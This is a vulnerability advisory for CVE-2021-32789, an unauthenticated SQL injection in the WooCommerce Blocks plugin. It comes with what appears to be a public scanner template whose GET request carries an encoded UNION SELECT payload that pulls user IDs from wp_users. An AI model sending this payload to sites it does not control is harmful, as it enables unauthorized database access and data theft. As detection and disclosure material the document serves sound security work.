woocommerce-gutenberg-products-block is a feature plugin for WooCommerce Gutenberg Blocks. An SQL injection vulnerability impacts all WooCommerce sites running the WooCommerce Blocks feature plugin between version 2.5.0 and prior to version 2.5.16. Via a carefully crafted URL, an exploit can be executed against the `wc/store/products/collection-data?calculate_attribute_counts[][taxonomy]` endpoint that allows the execution of a read only sql query. There are patches for many versions of this package, starting with version 2.5.16. There are no known workarounds aside from upgrading.
PoC代码[已公开]
id: CVE-2021-32789
info:
name: WooCommerce Blocks 2.5 to 5.5 - Unauthenticated SQL Injection
author: rootxharsh,iamnoooob,S1r1u5_,cookiehanhoan,madrobot
severity: high
description: |
woocommerce-gutenberg-products-block is a feature plugin for WooCommerce Gutenberg Blocks. An SQL injection vulnerability impacts all WooCommerce sites running the WooCommerce Blocks feature plugin between version 2.5.0 and prior to version 2.5.16. Via a carefully crafted URL, an exploit can be executed against the `wc/store/products/collection-data?calculate_attribute_counts[][taxonomy]` endpoint that allows the execution of a read only sql query. There are patches for many versions of this package, starting with version 2.5.16. There are no known workarounds aside from upgrading.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the affected system.
remediation: |
Update WooCommerce Blocks to version 5.6 or later to mitigate the vulnerability.
reference:
- https://woocommerce.com/posts/critical-vulnerability-detected-july-2021
- https://viblo.asia/p/phan-tich-loi-unauthen-sql-injection-woocommerce-naQZRQyQKvx
- https://securitynews.sonicwall.com/xmlpost/wordpress-woocommerce-plugin-sql-injection/
- https://wpscan.com/vulnerability/0f2089dc-9376-4d7d-95a2-25c99526804a
- https://nvd.nist.gov/vuln/detail/CVE-2021-32789
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-32789
cwe-id: CWE-89
epss-score: 0.91452
epss-percentile: 0.99653
cpe: cpe:2.3:a:automattic:woocommerce_blocks:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: automattic
product: woocommerce_blocks
framework: wordpress
tags: cve2021,cve,wordpress,woocommerce,sqli,wp-plugin,wp,wpscan,automattic
http:
- method: GET
path:
- '{{BaseURL}}/?rest_route=/wc/store/products/collection-data&calculate_attribute_counts[0][query_type]=or&calculate_attribute_counts[0][taxonomy]=%252522%252529%252520union%252520all%252520select%2525201%25252Cconcat%252528id%25252C0x3a%25252c%252522sqli-test%252522%252529from%252520wp_users%252520where%252520%252549%252544%252520%252549%25254E%252520%2525281%252529%25253B%252500'
matchers-condition: and
matchers:
- type: word
words:
- 'sqli-test'
- 'attribute_counts'
- 'price_range'
- 'term'
condition: and
- type: word
part: header
words:
- 'application/json'
- type: status
status:
- 200
# digest: 4b0a00483046022100916405c8e6bd4201db6622d5efda74095a77d0b66358264d16b78ab68c296e12022100f605fcbc12e5c4d7474f341f08e1fa7736cb600b93e8c1c1397f3203259fd628:922c64590222798bb761d5b6d8e72950